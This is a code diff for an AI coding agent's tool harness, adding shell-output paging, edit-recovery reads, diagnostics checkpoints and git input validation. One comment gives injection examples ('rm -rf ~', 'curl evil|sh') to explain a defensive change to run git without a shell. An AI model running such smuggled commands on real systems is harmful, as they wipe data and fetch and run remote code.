"If evidence is insufficient, name the exact missing fact and use a focused search or bounded computation. " +
|
|
257
338
|
"Do not restart general investigation, rewrite the plan, or delegate the same research. " +
|
|
@@ -268,11 +349,15 @@ export class TaskProgressTracker {
|
|
|
268
349
|
!this.childFindings.size &&
|
|
269
350
|
!this.lastActions.length &&
|
|
270
351
|
!this.remoteInspections.length &&
|
|
352
|
+
!this.diagnostics.length &&
|
|
271
353
|
!this.localFindings.length
|
|
272
354
|
)
|
|
273
355
|
return null;
|
|
274
356
|
const checkpoint = {
|
|
275
357
|
bounded: true,
|
|
358
|
+
recentDiagnostics: this.diagnostics
|
|
359
|
+
.filter((entry) => entry.owner === owner)
|
|
360
|
+
.map(({ owner: _owner, ...entry }) => entry),
|
|
276
361
|
recentLocalFindings: this.localFindings
|
|
277
362
|
.filter((entry) => entry.owner === owner)
|
|
278
363
|
.map(({ owner: _owner, ...entry }) => entry),
|
|
@@ -300,6 +385,7 @@ export class TaskProgressTracker {
|
|
|
300
385
|
!checkpoint.recentLocalFindings.length &&
|
|
301
386
|
!checkpoint.recentToolOutcomes.length &&
|
|
302
387
|
!checkpoint.recentRemoteInspections.length &&
|
|
388
|
+
!checkpoint.recentDiagnostics.length &&
|
|
303
389
|
!checkpoint.reportedPlans.length &&
|
|
304
390
|
!checkpoint.childFindings.length
|
|
305
391
|
)
|
|
@@ -312,6 +398,8 @@ export class TaskProgressTracker {
|
|
|
312
398
|
checkpoint.recentLocalFindings.shift();
|
|
313
399
|
else if (checkpoint.recentRemoteInspections.length)
|
|
314
400
|
checkpoint.recentRemoteInspections.shift();
|
|
401
|
+
else if (checkpoint.recentDiagnostics.length)
|
|
402
|
+
checkpoint.recentDiagnostics.shift();
|
|
315
403
|
else if (checkpoint.recentToolOutcomes.length)
|
|
316
404
|
checkpoint.recentToolOutcomes.shift();
|
|
317
405
|
else checkpoint.reportedPlans.pop();
|
|
@@ -21,6 +21,9 @@ import {
|
|
|
21
21
|
buildReadFileOutline,
|
|
22
22
|
} from "../lib/read-file-page.js";
|
|
23
23
|
import { ReadFileLoopGuard } from "../lib/read-file-loop-guard.js";
|
|
24
|
+
import { gitToolInputError } from "../lib/git-tool-input.js";
|
|
25
|
+
import { shellOutputPage, shellOutputPreview } from "../lib/shell-output.js";
|
|
26
|
+
import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "../lib/diagnostic-workflow.js";
|
|
24
27
|
import { RemoteReadLoopGuard } from "../lib/remote-read-loop-guard.js";
|
|
25
28
|
import {
|
|
26
29
|
isPrActionRequest,
|
|
@@ -450,10 +453,10 @@ function _appendBgStream(stream, text) {
|
|
|
450
453
|
}
|
|
451
454
|
}
|
|
452
455
|
|
|
453
|
-
// Read
|
|
454
|
-
//
|
|
455
|
-
//
|
|
456
|
-
function _readBgStream(stream) {
|
|
456
|
+
// Read one bounded page and advance only past returned text. When the cursor
|
|
457
|
+
// points into a region already dropped from the retained tail, report that gap
|
|
458
|
+
// separately; unread retained text remains available on the next poll.
|
|
459
|
+
function _readBgStream(stream, budget) {
|
|
457
460
|
const bufStart = stream.total - stream.buf.length;
|
|
458
461
|
let from = stream.cursor;
|
|
459
462
|
let droppedGap = 0;
|
|
@@ -461,9 +464,9 @@ function _readBgStream(stream) {
|
|
|
461
464
|
droppedGap = bufStart - from;
|
|
462
465
|
from = bufStart;
|
|
463
466
|
}
|
|
464
|
-
const
|
|
465
|
-
stream.cursor =
|
|
466
|
-
return {
|
|
467
|
+
const page = shellOutputPage(stream.buf.slice(from - bufStart), budget);
|
|
468
|
+
stream.cursor = from + page.text.length;
|
|
469
|
+
return { ...page, droppedGap };
|
|
467
470
|
}
|
|
468
471
|
|
|
469
472
|
/**
|
|
@@ -1114,11 +1117,12 @@ export function getBaseSystemPrompt(cwd) {
|
|
|
1114
1117
|
You have access to tools that let you read files, write files, edit files, run shell commands, and search the codebase. When the user asks you to do something, USE THE TOOLS to actually do it — don't just describe what should be done.
|
|
1115
1118
|
|
|
1116
1119
|
Key behaviors:
|
|
1120
|
+
- A new user message may arrive before the previous task finishes. Incorporate corrections and added requests while preserving unfinished authorized work, unless the user cancels or replaces it. Use the completed tool results already in history; do not restart the investigation.
|
|
1117
1121
|
- When asked to modify code, read the file first, then edit it
|
|
1118
1122
|
- When asked to create something, use write_file to create it
|
|
1119
1123
|
- When asked to remove or rename a file, use delete_file or move_file so the filesystem intent is explicit and reviewable
|
|
1120
1124
|
- When asked to run/test something, use run_shell to execute it
|
|
1121
|
-
-
|
|
1125
|
+
- ${DIAGNOSTIC_WORKFLOW_GUIDANCE}
|
|
1122
1126
|
- For CI log retrieval, inspect command stderr before retrying. Match syntax to the actual shell: Windows PowerShell 5 does not support &&, cmd treats single quotes literally, and head is not a Windows builtin. Prefer a plain gh metadata/log command without jq or pipelines first, then inspect the saved output. Never switch shells to bypass a policy denial.
|
|
1123
1127
|
- For long-running commands (builds, full test suites, dev servers) set run_shell { run_in_background: true } to get a task_id back immediately, then poll output and completion with check_shell { task_id }. Kill a backgrounded server with check_shell { task_id, kill: true } when finished
|
|
1124
1128
|
- When asked about git status, diff, log, or other repository operations, use the git tool instead of run_shell
|
|
@@ -5676,10 +5680,30 @@ async function executeToolInner(
|
|
|
5676
5680
|
result.error === "ambiguous_anchor" && result.matches?.[0]
|
|
5677
5681
|
? snippetAround(original, result.matches[0].lineNumber - 1)
|
|
5678
5682
|
: null;
|
|
5683
|
+
const expectedContent = result.current ?? args.expected_line;
|
|
5684
|
+
const expectedIndex =
|
|
5685
|
+
typeof expectedContent === "string"
|
|
5686
|
+
? original
|
|
5687
|
+
.split(/\r?\n/)
|
|
5688
|
+
.findIndex((line) => line.trim() === expectedContent.trim())
|
|
5689
|
+
: -1;
|
|
5690
|
+
const recoveryRead = ["hash_mismatch", "content_mismatch"].includes(
|
|
5691
|
+
result.error,
|
|
5692
|
+
)
|
|
5693
|
+
? {
|
|
5694
|
+
path: filePath,
|
|
5695
|
+
hashed: true,
|
|
5696
|
+
offset: Math.max(1, expectedIndex - 3 + 1),
|
|
5697
|
+
limit: 80,
|
|
5698
|
+
}
|
|
5699
|
+
: null;
|
|
5679
5700
|
return attachDescriptor({
|
|
5680
5701
|
error: result.error,
|
|
5681
5702
|
message: result.message,
|
|
5682
|
-
hint:
|
|
5703
|
+
hint: recoveryRead
|
|
5704
|
+
? "Call read_file with the exact recoveryRead arguments (hashed:true) to refresh the anchors, then retry the edit using the returned hash. This bounded refresh is available once during loop recovery; do not restart broad reading."
|
|
5705
|
+
: result.hint,
|
|
5706
|
+
...(recoveryRead && { recoveryRead }),
|
|
5683
5707
|
...(result.matches && { matches: result.matches }),
|
|
5684
5708
|
...(result.current && { current: result.current }),
|
|
5685
5709
|
...(result.expected && { expected: result.expected }),
|
|
@@ -6688,8 +6712,8 @@ async function executeToolInner(
|
|
|
6688
6712
|
result.stderr ||
|
|
6689
6713
|
`Sandbox command exited with code ${result.exitCode}`
|
|
6690
6714
|
).substring(0, 2000),
|
|
6691
|
-
|
|
6692
|
-
|
|
6715
|
+
...shellOutputPreview(result.stdout, "stdout", 16000),
|
|
6716
|
+
...shellOutputPreview(result.stderr, "stderr", 4000),
|
|
6693
6717
|
exitCode: result.exitCode,
|
|
6694
6718
|
...common,
|
|
6695
6719
|
},
|
|
@@ -6697,7 +6721,11 @@ async function executeToolInner(
|
|
|
6697
6721
|
);
|
|
6698
6722
|
}
|
|
6699
6723
|
return attachDescriptor(
|
|
6700
|
-
{
|
|
6724
|
+
{
|
|
6725
|
+
exitCode: 0,
|
|
6726
|
+
...shellOutputPreview(result.stdout, "stdout", 24000),
|
|
6727
|
+
...common,
|
|
6728
|
+
},
|
|
6701
6729
|
override || runtimeDescriptor,
|
|
6702
6730
|
);
|
|
6703
6731
|
}
|
|
@@ -6829,7 +6857,8 @@ async function executeToolInner(
|
|
|
6829
6857
|
}
|
|
6830
6858
|
return attachDescriptor(
|
|
6831
6859
|
{
|
|
6832
|
-
|
|
6860
|
+
...shellOutputPreview(output, "stdout", 24000),
|
|
6861
|
+
exitCode: 0,
|
|
6833
6862
|
...shellMeta,
|
|
6834
6863
|
...pluginBinResult,
|
|
6835
6864
|
shellCommandPolicy: shellPolicy,
|
|
@@ -6847,9 +6876,9 @@ async function executeToolInner(
|
|
|
6847
6876
|
// actual failure. Only attach it when there IS output (a timeout with
|
|
6848
6877
|
// no output keeps the field absent), mirroring the success path.
|
|
6849
6878
|
...(err.stdout
|
|
6850
|
-
?
|
|
6879
|
+
? shellOutputPreview(err.stdout, "stdout", 16000)
|
|
6851
6880
|
: {}),
|
|
6852
|
-
|
|
6881
|
+
...shellOutputPreview(err.stderr, "stderr", 4000),
|
|
6853
6882
|
exitCode: err.status,
|
|
6854
6883
|
...(typeof err.code === "string" && err.code
|
|
6855
6884
|
? {
|
|
@@ -6876,6 +6905,7 @@ async function executeToolInner(
|
|
|
6876
6905
|
if (!taskId) {
|
|
6877
6906
|
return attachDescriptor({
|
|
6878
6907
|
tasks: listBackgroundShellTasks(),
|
|
6908
|
+
hint: "This is a task list, not process output. Call check_shell with the task_id to read stdout, stderr and exitCode; continue while has_more_output is true even after the process exits.",
|
|
6879
6909
|
});
|
|
6880
6910
|
}
|
|
6881
6911
|
const task = _backgroundShellTasks.get(taskId);
|
|
@@ -6891,8 +6921,17 @@ async function executeToolInner(
|
|
|
6891
6921
|
// handler flips status. Best-effort.
|
|
6892
6922
|
killed = _killTask(task);
|
|
6893
6923
|
}
|
|
6894
|
-
const
|
|
6895
|
-
|
|
6924
|
+
const outputBudget = Math.min(
|
|
6925
|
+
16000,
|
|
6926
|
+
Math.floor((MAX_TOOL_RESULT_CHARS - 8192) / 2),
|
|
6927
|
+
);
|
|
6928
|
+
if (outputBudget < 64)
|
|
6929
|
+
return attachDescriptor({
|
|
6930
|
+
error:
|
|
6931
|
+
"Tool output limit is too small to return a background output page. Output was not consumed.",
|
|
6932
|
+
});
|
|
6933
|
+
const out = _readBgStream(task.out, outputBudget);
|
|
6934
|
+
const err = _readBgStream(task.err, outputBudget);
|
|
6896
6935
|
return attachDescriptor({
|
|
6897
6936
|
task_id: task.id,
|
|
6898
6937
|
status: task.status,
|
|
@@ -6901,8 +6940,15 @@ async function executeToolInner(
|
|
|
6901
6940
|
exitCode: task.exitCode,
|
|
6902
6941
|
signal: task.signal,
|
|
6903
6942
|
...(task.error ? { error: task.error } : {}),
|
|
6904
|
-
stdout: out.text
|
|
6905
|
-
stderr: err.text
|
|
6943
|
+
stdout: out.text,
|
|
6944
|
+
stderr: err.text,
|
|
6945
|
+
has_more_output: out.remaining > 0 || err.remaining > 0,
|
|
6946
|
+
...(out.remaining || err.remaining
|
|
6947
|
+
? {
|
|
6948
|
+
next_check: { task_id: task.id },
|
|
6949
|
+
hint: "More retained output is unread. Call check_shell with next_check even if status is exited or failed; process exit does not mean all output has been read.",
|
|
6950
|
+
}
|
|
6951
|
+
: {}),
|
|
6906
6952
|
...(out.droppedGap ? { stdout_dropped_bytes: out.droppedGap } : {}),
|
|
6907
6953
|
...(err.droppedGap ? { stderr_dropped_bytes: err.droppedGap } : {}),
|
|
6908
6954
|
...(killed ? { killed: true } : {}),
|
|
@@ -6919,6 +6965,9 @@ async function executeToolInner(
|
|
|
6919
6965
|
});
|
|
6920
6966
|
}
|
|
6921
6967
|
|
|
6968
|
+
const inputError = gitToolInputError(normalizedCommand);
|
|
6969
|
+
if (inputError) return attachDescriptor(inputError);
|
|
6970
|
+
|
|
6922
6971
|
// Run via argv (spawnSync, NO shell) so shell metacharacters in the
|
|
6923
6972
|
// command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
|
|
6924
6973
|
// cannot inject a second command. Previously execSync(`git ${cmd}`) ran
|
|
@@ -6965,6 +7014,7 @@ async function executeToolInner(
|
|
|
6965
7014
|
}
|
|
6966
7015
|
return attachDescriptor({
|
|
6967
7016
|
stdout: String(res.stdout || "").substring(0, 30000),
|
|
7017
|
+
exitCode: 0,
|
|
6968
7018
|
command: normalizedCommand,
|
|
6969
7019
|
readOnly,
|
|
6970
7020
|
});
|
|
@@ -14282,6 +14332,17 @@ export async function* agentLoop(messages, options) {
|
|
|
14282
14332
|
let lastTaskProgressIntervention = null;
|
|
14283
14333
|
|
|
14284
14334
|
while (budget.hasRemaining()) {
|
|
14335
|
+
// Yield only between complete tool batches. Keep all completed tool results
|
|
14336
|
+
// and settle child usage before the host accepts queued user steering.
|
|
14337
|
+
if (options.shouldYieldToUser?.() === true) {
|
|
14338
|
+
await _awaitBackgroundUsageSettlement(
|
|
14339
|
+
backgroundSubAgents,
|
|
14340
|
+
backgroundUsageFailureState,
|
|
14341
|
+
);
|
|
14342
|
+
yield* _drainSubAgentUsage(subAgentUsageSink);
|
|
14343
|
+
yield { type: "run-ended", runId, reason: "user-input-pending" };
|
|
14344
|
+
return;
|
|
14345
|
+
}
|
|
14285
14346
|
readFileLoopGuard.finishBatch();
|
|
14286
14347
|
if (remoteReadLoopGuard.stalled) {
|
|
14287
14348
|
await _awaitBackgroundUsageSettlement(
|
|
@@ -14295,7 +14356,7 @@ export async function* agentLoop(messages, options) {
|
|
|
14295
14356
|
error.code = "CC_AGENT_REPEATED_REMOTE_READ";
|
|
14296
14357
|
throw error;
|
|
14297
14358
|
}
|
|
14298
|
-
if (readFileLoopGuard.stalled) {
|
|
14359
|
+
if (readFileLoopGuard.stalled && !readFileLoopGuard.hasEditRecoveryReads) {
|
|
14299
14360
|
await _awaitBackgroundUsageSettlement(
|
|
14300
14361
|
backgroundSubAgents,
|
|
14301
14362
|
backgroundUsageFailureState,
|
|
@@ -14429,6 +14490,7 @@ export async function* agentLoop(messages, options) {
|
|
|
14429
14490
|
try {
|
|
14430
14491
|
const compactor = await _getAutoCompactor(options);
|
|
14431
14492
|
if (compactor && compactor.shouldAutoCompact(messages)) {
|
|
14493
|
+
options.onBeforeCompaction?.();
|
|
14432
14494
|
compactionUsageState = _autoCompactionUsageState(options);
|
|
14433
14495
|
compactionUsageState.calls = [];
|
|
14434
14496
|
compactionUsageState.callSequence = budget.consumed;
|
|
@@ -14906,7 +14968,9 @@ export async function* agentLoop(messages, options) {
|
|
|
14906
14968
|
};
|
|
14907
14969
|
}
|
|
14908
14970
|
const pausedTools = new Set([
|
|
14909
|
-
...(readRecoveryTurn
|
|
14971
|
+
...(readRecoveryTurn && !readFileLoopGuard.hasEditRecoveryReads
|
|
14972
|
+
? ["read_file"]
|
|
14973
|
+
: []),
|
|
14910
14974
|
...(taskRecoveryTurn ? taskRecoveryTools : []),
|
|
14911
14975
|
...remoteRecoveryTools,
|
|
14912
14976
|
...(prInvestigationExhausted
|
|
@@ -14927,6 +14991,7 @@ export async function* agentLoop(messages, options) {
|
|
|
14927
14991
|
}
|
|
14928
14992
|
: effectiveToolOptions;
|
|
14929
14993
|
const readContext = [
|
|
14994
|
+
options.getTaskWorklogContext?.(),
|
|
14930
14995
|
readFileLoopGuard.findingsHint,
|
|
14931
14996
|
readFileLoopGuard.progressHint,
|
|
14932
14997
|
remoteReadLoopGuard.findingsHint,
|
|
@@ -15793,8 +15858,16 @@ export async function* agentLoop(messages, options) {
|
|
|
15793
15858
|
// Capability and exact-path authority must settle before any checkpoint,
|
|
15794
15859
|
// hook, or observationally stronger `tool-executing` event. The same
|
|
15795
15860
|
// preflight runs again inside executeTool to prevent call-site drift.
|
|
15861
|
+
const editRecoveryRead =
|
|
15862
|
+
toolName === "read_file" &&
|
|
15863
|
+
typeof toolArgs?.path === "string" &&
|
|
15864
|
+
readFileLoopGuard.canRecoverEdit(
|
|
15865
|
+
path.resolve(toolContext.cwd || process.cwd(), toolArgs.path),
|
|
15866
|
+
toolArgs,
|
|
15867
|
+
);
|
|
15796
15868
|
const earlyAuthorityDenial =
|
|
15797
|
-
(pausedTools.has(toolName) ||
|
|
15869
|
+
((pausedTools.has(toolName) && !editRecoveryRead) ||
|
|
15870
|
+
(readRecoveryTurn && toolName === "read_file" && !editRecoveryRead) ||
|
|
15798
15871
|
remoteReadLoopGuard.shouldPause(toolName, toolArgs) ||
|
|
15799
15872
|
(taskRecoveryTurn &&
|
|
15800
15873
|
toolName === "read_file" &&
|
|
@@ -16170,6 +16243,8 @@ export async function* agentLoop(messages, options) {
|
|
|
16170
16243
|
const resultStr = toolResultForModel(toolName, toolResult, messages);
|
|
16171
16244
|
remoteReadLoopGuard.record(toolName, toolResult, toolArgs);
|
|
16172
16245
|
explicitPrCloseActionGuard.record(toolName, toolArgs, toolResult);
|
|
16246
|
+
if (toolName === "edit_file_hashed")
|
|
16247
|
+
readFileLoopGuard.recordEditRecovery(toolResult);
|
|
16173
16248
|
readFileLoopGuard.record(
|
|
16174
16249
|
toolName,
|
|
16175
16250
|
toolResult,
|